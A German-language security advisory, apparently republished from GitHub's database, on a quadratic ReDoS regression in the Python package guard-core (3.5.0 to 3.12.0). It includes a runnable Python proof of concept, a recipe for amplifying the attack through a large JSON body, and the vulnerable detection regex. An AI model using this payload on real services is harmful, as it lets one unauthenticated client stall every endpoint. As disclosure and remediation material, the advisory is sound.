Hoch

Guard Core: Quadratisches ReDoS in integriertem Erkennungsmuster blockiert die Ereignisschleife mit einer einzigen Anfrage

  • Veröffentlicht: 19.11.2026
  • Aktualisiert: 21.11.2026 10:00

Zusammenfassung

Ein polynomielles (quadratisches) Regular-Expression-Denial-of-Service (ReDoS) in den integrierten Penetrationserkennungsmustern von guard-core ermöglicht es jedem nicht authentifizierten Remote-Client, jeden Endpunkt einer Anwendung unter der Standardkonfiguration für Sekunden pro Anfrage zu blockieren. Die auslösende Anfrage wird ohne Erkennungstreffer abgeschlossen – es wird kein Sperrzähler erhöht und keine Rate-Limit-Verletzung erfasst –, sodass sie unbegrenzt wiederholt werden kann. Seit guard-core 3.5.0 werden nur benutzerdefinierte Muster über die timeout-geschützte Routine create_safe_matcher() des Compilers ausgeführt; alle integrierten Muster laufen als einfaches, direktes pattern.search(content) unmittelbar in der asyncio-Ereignisschleife. guard-core ≤ 3.4.0 führte integrierte Muster über den sicheren Matcher aus (verifiziert im Wheel 3.4.0, _check_regex_pattern), weshalb es sich hierbei um eine in 3.5.0 eingeführte Regression handelt. Dadurch wird der Schutz, der GHSA-rrf6-pxg8-684g (CVE-2025-54365) zugeschrieben wird, sowie die Behebung unbegrenzter Quantifizierer aus GHSA-j47q-rc62-w448 (CVE-2025-53539) für jedes Standardmuster stillschweigend aufgehoben, obwohl das Changelog eine „sichere Regex-Ausführung mit konfigurierbaren Timeouts zur Verhinderung von ReDoS-Angriffen“ ankündigt.

Details

1. Das Muster – guard_core/handlers/suspatterns_handler.py:519 (master 08780f1), der integrierte Detektor für Template-Injektionen:

python
r"\{\{\s*[^\}]+(?:system|exec|popen|eval|require|include)\s*\}\}"

Bei einer Eingabe von {, die N-mal wiederholt wird, startet jede der N−1 Positionen einen Match-Versuch für \{\{, und [^\}]+ scannt bis zum Ende des Strings und führt pro Position ein Backtracking durch → O(N²). Das Geschwistermuster unter :524 (\{\%\s*[^\%]+...) ist nicht anfällig – sein Trennzeichen % ist von der Zeichenklasse ausgeschlossen, wodurch die Scans begrenzt bleiben –, was bestätigt, dass die Ursache im unbegrenzten, nicht ausschließenden [^\}]+ liegt.

2. Der ungeschützte Ausführungspfad – guard_core/handlers/suspatterns_handler.py:910-926:

python
if compiler:
    if category == "custom":
        safe_matcher = compiler.create_safe_matcher(pattern)   # executor + timeout
        match = safe_matcher(content)
        ...
    else:
        match = pattern.search(content)                        # ← inline, NO timeout

Im erweiterten Modus (Standard, sobald ein SecurityConfig vorhanden ist – _supports_enhanced_config() ist eine Duck-Type-Attributprüfung, die eine Standardkonfiguration stets besteht) werden alle integrierten Muster inline innerhalb der asynchronen Coroutine ausgeführt, was die Ereignisschleife für den gesamten Scan blockiert. In guard-core ≤ 3.4.0 leitete _check_regex_pattern() jedes Muster über self._compiler.create_safe_matcher(pattern.pattern) (verifiziert im Wheel 3.4.0, suspatterns_handler.py:565-567) oder ohne Compiler über _check_pattern_with_timeout (4-Worker-Pool + Timeout pro Muster). Die Ausnahme für category == "custom" wurde in 3.5.0 eingeführt.

3. Erreichbarkeit in der Standardkonfiguration – Die Penetrationserkennung ist standardmäßig aktiviert (enable_penetration_detection=True), Abfrageparameter werden standardmäßig gescannt (guard_core/utils.py:843-865), und das Standard-Scan-Fenster detection_max_content_length=10000 (models.py:765-770) lässt die vollständige Payload von 10,000 Zeichen zu. Eine Folge von { übersteht die Vorverarbeitung unverändert.

Messergebnisse (CPython 3.14, guard-core 3.12.0):

Eingabe detect() Wall-Time Ereignisschleifen-Verzögerung (in-process gemessen)
{ × 2,500 0.15 s —
{ × 5,000 0.46 s —
{ × 10,000 1.85 s 2.57 s kumulativ über die drei Aufrufe

Saubere 4× pro Verdopplung – quadratisch, nicht exponentiell. Das Profiling aller integrierten Muster mit dieser Payload ordnet 1.766 s der insgesamt 1.77 s diesem einzelnen Muster zu (Ein-Zeilen-Fix: Begrenzung der Lücke, z. B. \{\{\s*[^\}\s]{0,64}(?:system|exec|popen|eval|require|include)\s*\}\}).

Verstärkung: Jeder gescannte Wert verursacht die Kosten unabhängig voneinander (utils.py:843-890 pro Abfrageparameter/Header; utils.py:936-977 pro JSON-String-Feld). Ein einzelner 256 KB großer JSON-Body (Standardwert detection_max_body_inspect_bytes) mit ca. 25 String-Feldern von {×10,000 ergab 44.03 s ununterbrochene Blockierung der Ereignisschleife durch eine einzige Anfrage, die normal ohne Erkennungstreffer beantwortet wurde.

Warum Rate-Limiting nicht hilft: Die guard-core-Standardwerte liegen bei rate_limit=10 pro rate_limit_window=60 s (models.py:369-375), und die Prüfung rate_limit wird in der Standard-Pipeline vor suspicious_activity ausgeführt. 10 × 44 s = 440 s Schleifenblockade pro Zeitfenster von 60 s von einer einzelnen IP-Adresse – Sättigung aus einer einzigen Quelle, keine Verteilung erforderlich.

Framework-Reichweite: Jeder Adapter, der guard-core in einer asyncio-Schleife einbettet – fastapi-guard, flaskapi-guard (asynchrone Deployments), djapi-guard (ASGI) –, teilt sich die Schleife mit der Anwendung. Die Blockierung legt somit jeden Endpunkt der Host-Anwendung lahm, nicht nur die geschützten Routen.

PoC

Nur guard-core – kein Framework-Adapter erforderlich. Erfordert pip install guard-core, dann python poc_guard_core_redos.py. Exit-Code 0 = Blockierung reproduziert.

python
"""PoC: event-loop ReDoS in guard-core (>= 3.5.0, <= 3.12.0), default config.

The built-in template-injection pattern is quadratic on '{' x N, and since 3.5.0
built-in patterns execute inline (pattern.search) with NO timeout — only
`custom` patterns get the compiler's safe matcher. One detect() call with a
10,000-char value blocks the event loop ~1.8s; a 256KB JSON body with ~25 such
fields blocks it ~44s. Runs on the asyncio loop that any adapter
(fastapi-guard, flaskapi-guard, djapi-guard) shares with the app.

Run:  python poc_guard_core_redos.py
Exit code 0 = freeze reproduced (max loop lag > 1s).
"""

import asyncio
import time

from guard_core.handlers.suspatterns_handler import sus_patterns_handler
from guard_core.models import SecurityConfig

LOOP_LAGS: list[float] = []


async def _loop_lag_monitor() -> None:
    while True:
        t0 = time.monotonic()
        await asyncio.sleep(0.05)
        LOOP_LAGS.append(time.monotonic() - t0 - 0.05)


async def main() -> int:
    config = SecurityConfig(enable_redis=False)  # defaults = enhanced mode
    sus_patterns_handler.configure(config)

    monitor = asyncio.create_task(_loop_lag_monitor())
    await asyncio.sleep(0.3)  # baseline samples

    for n in (2_500, 5_000, 10_000):
        t0 = time.perf_counter()
        result = await sus_patterns_handler.detect(
            content="{" * n, ip_address="203.0.113.7", context="query_param:q"
        )
        print(f"'{{' x {n:5d}: {time.perf_counter()-t0:.2f}s  is_threat={result['is_threat']}")

    # let the starved monitor task wake and record the lag it just endured
    await asyncio.sleep(0.1)
    max_lag = max(LOOP_LAGS)
    print(f"\nmax event-loop lag during run: {max_lag:.2f}s")
    print("VERDICT:", "FROZEN" if max_lag > 1.0 else "not reproduced")

    monitor.cancel()
    return 0 if max_lag > 1.0 else 1


if __name__ == "__main__":
    raise SystemExit(asyncio.run(main()))

Beobachtete Ausgabe (Python 3.14, guard-core 3.12.0):

'{' x  2500: 0.16s  is_threat=False
'{' x  5000: 0.51s  is_threat=False
'{' x 10000: 1.91s  is_threat=False

max event-loop lag during run: 2.57s
VERDICT: FROZEN

Ein End-to-End-Nachweis über den fastapi-guard-Adapter (Standardkonfiguration, echter Uvicorn-Server, In-Process-Verzögerungsüberwachung) ergab 1.75 s serverseitige Verzögerung der Ereignisschleife bei einer einzelnen GET-Anfrage, die HTTP 200 zurückgab – auf Anfrage verfügbar.

Auswirkungen

Art der Schwachstelle: Regular Expression Denial of Service – CWE-1333 / CWE-400. Polynomielle (quadratische) Laufzeit, O(N²), kein exponentielles Backtracking.

Wer betroffen ist: Jede Anwendung, die guard-core ≥ 3.5.0 mit der Standardkonfiguration (Penetrationserkennung aktiviert) in einem Single-Process-asyncio-Deployment einbettet. Eine unauthentifizierte Anfrage blockiert alle Endpunkte für ~1.8 s; ein aufgefüllter POST-Body blockiert sie für zig Sekunden; wiederholte Anfragen mit nur 10/min lasten den Worker dauerhaft aus. Da die Payload keinen Erkennungstreffer auslöst, wird kein Sperrzähler erhöht und nichts als verdächtig protokolliert – der Angriff ist in der eigenen Telemetrie von guard-core unsichtbar.

Behebungsansätze: (1) Den Quantifizierer im Template-Muster begrenzen (das Geschwistermuster {% bei :524 ist bereits sicher, da [^\%]+ das Trennzeichen ausschließt – das Ausschließen des Trennzeichens oder das Begrenzen der Lücke schließt die Lücke); (2) integrierte Muster über denselben Timeout-Pfad create_safe_matcher() wie benutzerdefinierte Muster leiten, wodurch das Verhalten von ≤ 3.4.0 wiederhergestellt wird, wie im Changelog beschrieben.

Prüfungsanforderung für Berichterstatter

Der Fix ist in guard-core 3.13.0 enthalten und jetzt auf PyPI verfügbar. Wenn Sie dieses Problem gemeldet haben, installieren Sie bitte 3.13.0 und bestätigen Sie die Behebung. Sie können im Diskussionsfaden dieses Hinweises antworten oder ein neues Issue mit dem Ergebnis eröffnen.

Was zu tun ist

Aktualisieren Sie auf guard-core Version 3.13.0 oder neuer über PyPI.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) guard-core >= 3.5.0, < 3.13.0 3.13.0

Verweise

CVSS-Wert 7.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Schwäche (CWE)
CWE-1333, CWE-400
Plattform
Python (PyPI)
Paket
guard-core
Veröffentlicht
19.11.2026
Aktualisiert
21.11.2026 10:00

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-r7hm-rjvg-xx7j - CC BY 4.0

Schwachstellenhistorie: guard-core

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
3
Erste → letzte
11.2026 11.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Hoch 1
  • Mittel 1
  • Niedrig 1

Veröffentlichungen pro Jahr

  1. 2026: 3
  1. Guard Core: Quadratisches ReDoS in integriertem Erkennungsmuster blockiert die Ereignisschleife mit einer einzigen Anfrage dieser Eintrag
    Hoch · 7.5 CVE-2026-129302 >= 3.5.0, < 3.13.0 3.13.0

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.